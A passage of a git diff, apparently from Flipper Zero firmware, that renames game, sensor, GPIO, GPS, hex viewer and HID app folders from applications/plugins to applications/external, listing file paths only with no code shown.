applications/external/game15/images/Game15Restore.png diff --git a/applications/plugins/game15/sandbox.c b/applications/external/game15/sandbox.c similarity index 100% rename from applications/plugins/game15/sandbox.c rename to applications/external/game15/sandbox.c diff --git a/applications/plugins/game15/sandbox.h b/applications/external/game15/sandbox.h similarity index 100% rename from applications/plugins/game15/sandbox.h rename to applications/external/game15/sandbox.h diff --git a/applications/plugins/game_2048/LICENSE b/applications/external/game_2048/LICENSE similarity index 100% rename from applications/plugins/game_2048/LICENSE rename to applications/external/game_2048/LICENSE diff --git a/applications/plugins/game_2048/README.md b/applications/external/game_2048/README.md similarity index 100% rename from applications/plugins/game_2048/README.md rename to applications/external/game_2048/README.md diff --git a/applications/plugins/game_2048/application.fam b/applications/external/game_2048/application.fam similarity index 100% rename from applications/plugins/game_2048/application.fam rename to applications/external/game_2048/application.fam diff --git a/applications/plugins/game_2048/array_utils.c b/applications/external/game_2048/array_utils.c similarity index 100% rename from applications/plugins/game_2048/array_utils.c rename to applications/external/game_2048/array_utils.c diff --git a/applications/plugins/game_2048/array_utils.h b/applications/external/game_2048/array_utils.h similarity index 100% rename from applications/plugins/game_2048/array_utils.h rename to applications/external/game_2048/array_utils.h diff --git a/applications/plugins/game_2048/digits.h b/applications/external/game_2048/digits.h similarity index 100% rename from applications/plugins/game_2048/digits.h rename to applications/external/game_2048/digits.h diff --git a/applications/plugins/game_2048/game_2048.c b/applications/external/game_2048/game_2048.c similarity index 100% rename from applications/plugins/game_2048/game_2048.c rename to applications/external/game_2048/game_2048.c diff --git a/applications/plugins/game_2048/game_2048.png b/applications/external/game_2048/game_2048.png similarity index 100% rename from applications/plugins/game_2048/game_2048.png rename to applications/external/game_2048/game_2048.png diff --git a/applications/plugins/game_2048/images/screenshot1.png b/applications/external/game_2048/images/screenshot1.png similarity index 100% rename from applications/plugins/game_2048/images/screenshot1.png rename to applications/external/game_2048/images/screenshot1.png diff --git a/applications/plugins/game_2048/images/screenshot2.png b/applications/external/game_2048/images/screenshot2.png similarity index 100% rename from applications/plugins/game_2048/images/screenshot2.png rename to applications/external/game_2048/images/screenshot2.png diff --git a/applications/plugins/game_of_life/application.fam b/applications/external/game_of_life/application.fam similarity index 100% rename from applications/plugins/game_of_life/application.fam rename to applications/external/game_of_life/application.fam diff --git a/applications/plugins/game_of_life/game_of_life.c b/applications/external/game_of_life/game_of_life.c similarity index 100% rename from applications/plugins/game_of_life/game_of_life.c rename to applications/external/game_of_life/game_of_life.c diff --git a/applications/plugins/game_of_life/golIcon.png b/applications/external/game_of_life/golIcon.png similarity index 100% rename from applications/plugins/game_of_life/golIcon.png rename to applications/external/game_of_life/golIcon.png diff --git a/applications/plugins/geigercounter/application.fam b/applications/external/geigercounter/application.fam similarity index 100% rename from applications/plugins/geigercounter/application.fam rename to applications/external/geigercounter/application.fam diff --git a/applications/plugins/geigercounter/flipper_geiger.c b/applications/external/geigercounter/flipper_geiger.c similarity index 100% rename from applications/plugins/geigercounter/flipper_geiger.c rename to applications/external/geigercounter/flipper_geiger.c diff --git a/applications/plugins/geigercounter/geiger.png b/applications/external/geigercounter/geiger.png similarity index 100% rename from applications/plugins/geigercounter/geiger.png rename to applications/external/geigercounter/geiger.png diff --git a/applications/plugins/gpio_reader_a/GPIO_reader.c b/applications/external/gpio_reader_a/GPIO_reader.c similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader.c rename to applications/external/gpio_reader_a/GPIO_reader.c diff --git a/applications/plugins/gpio_reader_a/GPIO_reader_item.c b/applications/external/gpio_reader_a/GPIO_reader_item.c similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader_item.c rename to applications/external/gpio_reader_a/GPIO_reader_item.c diff --git a/applications/plugins/gpio_reader_a/GPIO_reader_item.h b/applications/external/gpio_reader_a/GPIO_reader_item.h similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader_item.h rename to applications/external/gpio_reader_a/GPIO_reader_item.h diff --git a/applications/plugins/gpio_reader_a/README.md b/applications/external/gpio_reader_a/README.md similarity index 100% rename from applications/plugins/gpio_reader_a/README.md rename to applications/external/gpio_reader_a/README.md diff --git a/applications/plugins/gpio_reader_a/application.fam b/applications/external/gpio_reader_a/application.fam similarity index 100% rename from applications/plugins/gpio_reader_a/application.fam rename to applications/external/gpio_reader_a/application.fam diff --git a/applications/plugins/gpio_reader_a/icon.png b/applications/external/gpio_reader_a/icon.png similarity index 100% rename from applications/plugins/gpio_reader_a/icon.png rename to applications/external/gpio_reader_a/icon.png diff --git a/applications/plugins/gpio_reader_b/LICENSE b/applications/external/gpio_reader_b/LICENSE similarity index 100% rename from applications/plugins/gpio_reader_b/LICENSE rename to applications/external/gpio_reader_b/LICENSE diff --git a/applications/plugins/gpio_reader_b/README.md b/applications/external/gpio_reader_b/README.md similarity index 100% rename from applications/plugins/gpio_reader_b/README.md rename to applications/external/gpio_reader_b/README.md diff --git a/applications/plugins/gpio_reader_b/application.fam b/applications/external/gpio_reader_b/application.fam similarity index 100% rename from applications/plugins/gpio_reader_b/application.fam rename to applications/external/gpio_reader_b/application.fam diff --git a/applications/plugins/gpio_reader_b/gpio_app.c b/applications/external/gpio_reader_b/gpio_app.c similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app.c rename to applications/external/gpio_reader_b/gpio_app.c diff --git a/applications/plugins/gpio_reader_b/gpio_app.h b/applications/external/gpio_reader_b/gpio_app.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app.h rename to applications/external/gpio_reader_b/gpio_app.h diff --git a/applications/plugins/gpio_reader_b/gpio_app_i.h b/applications/external/gpio_reader_b/gpio_app_i.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app_i.h rename to applications/external/gpio_reader_b/gpio_app_i.h diff --git a/applications/plugins/gpio_reader_b/gpio_custom_event.h b/applications/external/gpio_reader_b/gpio_custom_event.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_custom_event.h rename to applications/external/gpio_reader_b/gpio_custom_event.h diff --git a/applications/plugins/gpio_reader_b/gpio_item.c b/applications/external/gpio_reader_b/gpio_item.c similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_item.c rename to applications/external/gpio_reader_b/gpio_item.c diff --git a/applications/plugins/gpio_reader_b/gpio_item.h b/applications/external/gpio_reader_b/gpio_item.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_item.h rename to applications/external/gpio_reader_b/gpio_item.h diff --git a/applications/plugins/gpio_reader_b/gpioreader.png b/applications/external/gpio_reader_b/gpioreader.png similarity index 100% rename from applications/plugins/gpio_reader_b/gpioreader.png rename to applications/external/gpio_reader_b/gpioreader.png diff --git a/applications/plugins/gpio_reader_b/icon.png b/applications/external/gpio_reader_b/icon.png similarity index 100% rename from applications/plugins/gpio_reader_b/icon.png rename to applications/external/gpio_reader_b/icon.png diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene.c b/applications/external/gpio_reader_b/scenes/gpio_scene.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene.c rename to applications/external/gpio_reader_b/scenes/gpio_scene.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene.h b/applications/external/gpio_reader_b/scenes/gpio_scene.h similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene.h rename to applications/external/gpio_reader_b/scenes/gpio_scene.h diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_config.h b/applications/external/gpio_reader_b/scenes/gpio_scene_config.h similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_config.h rename to applications/external/gpio_reader_b/scenes/gpio_scene_config.h diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_reader.c b/applications/external/gpio_reader_b/scenes/gpio_scene_reader.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_reader.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_reader.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_start.c b/applications/external/gpio_reader_b/scenes/gpio_scene_start.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_start.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_start.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_test.c b/applications/external/gpio_reader_b/scenes/gpio_scene_test.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_test.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_test.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c b/applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c rename to applications/external/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c diff --git a/applications/plugins/gpio_reader_b/usb_uart_bridge.c b/applications/external/gpio_reader_b/usb_uart_bridge.c similarity index 100% rename from applications/plugins/gpio_reader_b/usb_uart_bridge.c rename to applications/external/gpio_reader_b/usb_uart_bridge.c diff --git a/applications/plugins/gpio_reader_b/usb_uart_bridge.h b/applications/external/gpio_reader_b/usb_uart_bridge.h similarity index 100% rename from applications/plugins/gpio_reader_b/usb_uart_bridge.h rename to applications/external/gpio_reader_b/usb_uart_bridge.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_reader.c b/applications/external/gpio_reader_b/views/gpio_reader.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_reader.c rename to applications/external/gpio_reader_b/views/gpio_reader.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_reader.h b/applications/external/gpio_reader_b/views/gpio_reader.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_reader.h rename to applications/external/gpio_reader_b/views/gpio_reader.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_test.c b/applications/external/gpio_reader_b/views/gpio_test.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_test.c rename to applications/external/gpio_reader_b/views/gpio_test.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_test.h b/applications/external/gpio_reader_b/views/gpio_test.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_test.h rename to applications/external/gpio_reader_b/views/gpio_test.h diff --git a/applications/plugins/gpio_reader_b/views/gpio_usb_uart.c b/applications/external/gpio_reader_b/views/gpio_usb_uart.c similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_usb_uart.c rename to applications/external/gpio_reader_b/views/gpio_usb_uart.c diff --git a/applications/plugins/gpio_reader_b/views/gpio_usb_uart.h b/applications/external/gpio_reader_b/views/gpio_usb_uart.h similarity index 100% rename from applications/plugins/gpio_reader_b/views/gpio_usb_uart.h rename to applications/external/gpio_reader_b/views/gpio_usb_uart.h diff --git a/applications/plugins/gps_nmea_uart/LICENSE b/applications/external/gps_nmea_uart/LICENSE similarity index 100% rename from applications/plugins/gps_nmea_uart/LICENSE rename to applications/external/gps_nmea_uart/LICENSE diff --git a/applications/plugins/gps_nmea_uart/README.md b/applications/external/gps_nmea_uart/README.md similarity index 100% rename from applications/plugins/gps_nmea_uart/README.md rename to applications/external/gps_nmea_uart/README.md diff --git a/applications/plugins/gps_nmea_uart/application.fam b/applications/external/gps_nmea_uart/application.fam similarity index 100% rename from applications/plugins/gps_nmea_uart/application.fam rename to applications/external/gps_nmea_uart/application.fam diff --git a/applications/plugins/gps_nmea_uart/gps.c b/applications/external/gps_nmea_uart/gps.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps.c rename to applications/external/gps_nmea_uart/gps.c diff --git a/applications/plugins/gps_nmea_uart/gps_10px.png b/applications/external/gps_nmea_uart/gps_10px.png similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_10px.png rename to applications/external/gps_nmea_uart/gps_10px.png diff --git a/applications/plugins/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.c rename to applications/external/gps_nmea_uart/gps_uart.c diff --git a/applications/plugins/gps_nmea_uart/gps_uart.h b/applications/external/gps_nmea_uart/gps_uart.h similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.h rename to applications/external/gps_nmea_uart/gps_uart.h diff --git a/applications/plugins/gps_nmea_uart/minmea.c b/applications/external/gps_nmea_uart/minmea.c similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.c rename to applications/external/gps_nmea_uart/minmea.c diff --git a/applications/plugins/gps_nmea_uart/minmea.h b/applications/external/gps_nmea_uart/minmea.h similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.h rename to applications/external/gps_nmea_uart/minmea.h diff --git a/applications/plugins/gps_nmea_uart/ui.png b/applications/external/gps_nmea_uart/ui.png similarity index 100% rename from applications/plugins/gps_nmea_uart/ui.png rename to applications/external/gps_nmea_uart/ui.png diff --git a/applications/plugins/gps_nmea_uart/wiring.png b/applications/external/gps_nmea_uart/wiring.png similarity index 100% rename from applications/plugins/gps_nmea_uart/wiring.png rename to applications/external/gps_nmea_uart/wiring.png diff --git a/applications/plugins/hc_sr04/application.fam b/applications/external/hc_sr04/application.fam similarity index 100% rename from applications/plugins/hc_sr04/application.fam rename to applications/external/hc_sr04/application.fam diff --git a/applications/plugins/hc_sr04/dist_sensor10px.png b/applications/external/hc_sr04/dist_sensor10px.png similarity index 100% rename from applications/plugins/hc_sr04/dist_sensor10px.png rename to applications/external/hc_sr04/dist_sensor10px.png diff --git a/applications/plugins/hc_sr04/hc_sr04.c b/applications/external/hc_sr04/hc_sr04.c similarity index 100% rename from applications/plugins/hc_sr04/hc_sr04.c rename to applications/external/hc_sr04/hc_sr04.c diff --git a/applications/plugins/heap_defence_game/application.fam b/applications/external/heap_defence_game/application.fam similarity index 100% rename from applications/plugins/heap_defence_game/application.fam rename to applications/external/heap_defence_game/application.fam diff --git a/applications/plugins/heap_defence_game/assets_images/Background_128x64.png b/applications/external/heap_defence_game/assets_images/Background_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Background_128x64.png rename to applications/external/heap_defence_game/assets_images/Background_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box1_10x10.png b/applications/external/heap_defence_game/assets_images/Box1_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box1_10x10.png rename to applications/external/heap_defence_game/assets_images/Box1_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box2_10x10.png b/applications/external/heap_defence_game/assets_images/Box2_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box2_10x10.png rename to applications/external/heap_defence_game/assets_images/Box2_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box3_10x10.png b/applications/external/heap_defence_game/assets_images/Box3_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box3_10x10.png rename to applications/external/heap_defence_game/assets_images/Box3_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box4_10x10.png b/applications/external/heap_defence_game/assets_images/Box4_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box4_10x10.png rename to applications/external/heap_defence_game/assets_images/Box4_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box5_10x10.png b/applications/external/heap_defence_game/assets_images/Box5_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box5_10x10.png rename to applications/external/heap_defence_game/assets_images/Box5_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png b/applications/external/heap_defence_game/assets_images/Box6p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box6p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png b/applications/external/heap_defence_game/assets_images/Box7p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box7p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png b/applications/external/heap_defence_game/assets_images/Box8p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box8p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png b/applications/external/heap_defence_game/assets_images/Game_over_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png rename to applications/external/heap_defence_game/assets_images/Game_over_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Start_128x64.png b/applications/external/heap_defence_game/assets_images/Start_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Start_128x64.png rename to applications/external/heap_defence_game/assets_images/Start_128x64.png diff --git a/applications/plugins/heap_defence_game/box.png b/applications/external/heap_defence_game/box.png similarity index 100% rename from applications/plugins/heap_defence_game/box.png rename to applications/external/heap_defence_game/box.png diff --git a/applications/plugins/heap_defence_game/heap_defence.c b/applications/external/heap_defence_game/heap_defence.c similarity index 100% rename from applications/plugins/heap_defence_game/heap_defence.c rename to applications/external/heap_defence_game/heap_defence.c diff --git a/applications/plugins/heap_defence_game/hede_assets.c b/applications/external/heap_defence_game/hede_assets.c similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.c rename to applications/external/heap_defence_game/hede_assets.c diff --git a/applications/plugins/heap_defence_game/hede_assets.h b/applications/external/heap_defence_game/hede_assets.h similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.h rename to applications/external/heap_defence_game/hede_assets.h diff --git a/applications/plugins/hex_viewer/LICENSE b/applications/external/hex_viewer/LICENSE similarity index 100% rename from applications/plugins/hex_viewer/LICENSE rename to applications/external/hex_viewer/LICENSE diff --git a/applications/plugins/hex_viewer/application.fam b/applications/external/hex_viewer/application.fam similarity index 100% rename from applications/plugins/hex_viewer/application.fam rename to applications/external/hex_viewer/application.fam diff --git a/applications/plugins/hex_viewer/hex_viewer.c b/applications/external/hex_viewer/hex_viewer.c similarity index 100% rename from applications/plugins/hex_viewer/hex_viewer.c rename to applications/external/hex_viewer/hex_viewer.c diff --git a/applications/plugins/hex_viewer/icons/hex_10px.png b/applications/external/hex_viewer/icons/hex_10px.png similarity index 100% rename from applications/plugins/hex_viewer/icons/hex_10px.png rename to applications/external/hex_viewer/icons/hex_10px.png diff --git a/applications/plugins/hid_app/application.fam b/applications/external/hid_app/application.fam similarity index 86% rename from applications/plugins/hid_app/application.fam rename to applications/external/hid_app/application.fam index b8c13e353..f0df85800 100644 